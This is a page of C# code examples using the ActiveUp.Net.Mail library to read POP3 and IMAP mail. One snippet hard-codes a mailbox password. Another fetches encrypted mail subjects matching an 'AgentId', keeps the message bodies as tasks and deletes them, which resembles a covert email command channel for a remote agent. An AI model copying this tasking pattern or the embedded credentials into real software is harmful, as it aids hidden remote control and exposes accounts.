Пример #1
0
        static void Main(string[] args)
        {
            System.Console.WriteLine("Start work");

            string sHostPop  = "pop.googlemail.com";
            string sHostImap = "imap.googlemail.com";
            int    nPort     = 995;
            string sUserName = "******";
            string sPasword  = "theSimpsons";

            try
            {
                string sEml = @"E:\ut8_encripted_teamlab.eml";

                ActiveUp.Net.Mail.Message m =
                    ActiveUp.Net.Mail.Parser.ParseMessageFromFile(sEml);
                var header = ActiveUp.Net.Mail.Parser.ParseHeader(sEml);

                Pop3Client pop = new Pop3Client();

                // Connect to the pop3 client
                pop.ConnectSsl(sHostPop, nPort, "recent:" + sUserName, sPasword);

                if (pop.MessageCount > 0)
                {
                    ActiveUp.Net.Mail.Message message = pop.RetrieveMessageObject(4);
                    string sHtml = message.BodyHtml.Text;
                }
                else
                {
                    System.Console.WriteLine("No letters!");
                }

                pop.Disconnect();

                Imap4Client imap = new Imap4Client();

                imap.ConnectSsl(sHostImap, 993);

                imap.Login(sUserName, sPasword, "");

                Mailbox inbox = imap.SelectMailbox("inbox");

                if (inbox.MessageCount > 0)
                {
                    ActiveUp.Net.Mail.Message message = inbox.Fetch.MessageObject(6);
                    string sHtml = message.BodyHtml.Text;
                }

                imap.Disconnect();
            }
            catch (Exception ex)
            {
                System.Console.Write("\r\n" + ex);
            }

            System.Console.WriteLine("Stop work");

            System.Console.ReadKey();
        }
        private void _bRetriveMessage_Click(object sender, EventArgs e)
        {
            // We instantiate the pop3 client.
            Pop3Client pop = new Pop3Client();

            try
            {
                this.AddLogEntry(string.Format("Connection to the pop 3 server : {0}", _tbPop3Server.Text));

                // Connect to the pop3 client
                pop.ConnectSsl(_tbPop3Server.Text, _tbUserName.Text, _tbPassword.Text);

                if (pop.MessageCount > 0)
                {
                    // Retrieve the first message
                    ActiveUp.Net.Mail.Message message = pop.RetrieveMessageObject(1);

                    this.AddLogEntry(string.Format("Subject: {0} From :{1} Message Body {2}"
                                                   , message.Subject, message.From.Email, message.BodyText));
                }

                else
                {
                    this.AddLogEntry("There is no message in this pop3 account");
                }
            }

            catch (Pop3Exception pexp)
            {
                this.AddLogEntry(string.Format("Pop3 Error: {0}", pexp.Message));
            }

            catch (Exception ex)
            {
                this.AddLogEntry(string.Format("Failed: {0}", ex.Message));
            }

            finally
            {
                if (pop.IsConnected)
                {
                    pop.Disconnect();
                }
            }
        }
Пример #3
0
        public List <byte[]> Download()
        {
            var pop3Client = new Pop3Client();
            var downloaded = new List <byte[]>();

            pop3Client.ConnectSsl(_pop3Server, _pop3Port, _pop3Login, _pop3Password);

            for (int i = 1; i < pop3Client.MessageCount; i++)
            {
                var mail    = pop3Client.RetrieveMessageObject(i);
                var subject = Cryptor.Decrypt(mail.Subject.GetBytes(), Cryptor.DEBUG_key);

                if (subject != null && subject.GetString() == Program.Config.AgentId) // TODO: correct decrypt mail subject
                {
                    downloaded.Add(mail.BodyText.Text.GetBytes());
                    pop3Client.DeleteMessage(i); // delete readed mail with task
                }
            }

            pop3Client.Disconnect();

            return(downloaded);
        }